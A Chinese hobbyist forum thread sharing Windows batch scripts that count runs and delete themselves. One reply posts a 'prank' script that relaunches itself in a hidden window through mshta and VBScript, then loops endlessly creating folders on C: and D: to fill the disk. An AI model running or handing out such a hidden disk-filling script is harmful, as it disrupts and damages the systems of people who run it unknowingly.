无忧启动论坛

 找回密码
 注册
搜索
系统gho:最纯净好用系统下载站投放广告、加入VIP会员,请联系 微信:wuyouceo
查看: 4876|回复: 8
打印 上一主题 下一主题

[分享] 执行n次(例子是五次)后删除自己

[复制链接]
跳转到指定楼层
1#
发表于 2020-7-26 10:49:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
  1. @echo off
  2. set a=%~n0
  3. set /a a+=1
  4. if %~n0 == 6 (del /s /f /q %0)
  5. echo %a%
  6. pause
  7. move %0 d:\桌面\%a%.bat
复制代码
范例下载
执行5次后删除自己.rar (211 Bytes, 下载次数: 44)

评分

参与人数 1无忧币 +5 收起 理由
879792799 + 5 赞一个!

查看全部评分

2#
发表于 2020-7-26 10:59:13 | 只看该作者
好程序!
回复

使用道具 举报

3#
发表于 2020-7-26 12:45:48 | 只看该作者
程序有毛病.

win7x32
变量不会保存


  1. set a=%~n0 //获取脚本文件名这句好像无意义
  2. del /s /f /q %0 //建议加上双引号
复制代码


回复

使用道具 举报

4#
 楼主| 发表于 2020-7-26 13:30:37 来自手机 | 只看该作者
好的,主要是提供思路。
回复

使用道具 举报

5#
发表于 2020-7-26 15:09:15 | 只看该作者
这里有个恶作剧代码用到了这个,你看看是不是:
@echo off
title ezj无窗口
%1 mshta vbscript:CreateObject("WScript.Shell").Run("%~s0 ::",0,FALSE)(window.close)&&exit
set n=1
:main
tree >ezj.txt
md "C:\ProgramData\%n%"
md "D:\%n%"
copy ezj.txt "C:\ProgramData\%n%"
copy ezj.txt "D:\%n%"
set /a n=n+1
goto main

网盘:https://c-t.work/s/8f34cdc16eb245
回复

使用道具 举报

6#
发表于 2020-7-26 16:29:50 | 只看该作者
短小精悍的代码,让人看着舒心
回复

使用道具 举报

7#
发表于 2020-7-26 20:11:32 | 只看该作者
本帖最后由 dos时代菜鸟 于 2020-7-26 20:12 编辑

  1. @echo off
  2. set n=6
  3. for /l %%c in (1,1,%n%) do (
  4.         call :program %%c
  5. )
  6. pause
  7. goto :end1

  8. :program
  9.         echo %1
  10.         exit /b
  11.         
  12. :end1
  13. del /s /f /q %0
复制代码
用 for 实现 循环6次,program 段可以放一些 指令,

回复

使用道具 举报

8#
 楼主| 发表于 2020-7-26 22:44:39 来自手机 | 只看该作者
不一样,二次审题看看?
回复

使用道具 举报

9#
发表于 2020-7-29 15:30:14 | 只看该作者
好的,主要是提供思路。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

小黑屋|手机版|Archiver|捐助支持|无忧启动 ( 闽ICP备05002490号-1 )

闽公网安备 35020302032614号

GMT+8, 2024-11-27 04:58

Powered by Discuz! X3.3

© 2001-2017 Comsenz Inc.

快速回复 返回顶部 返回列表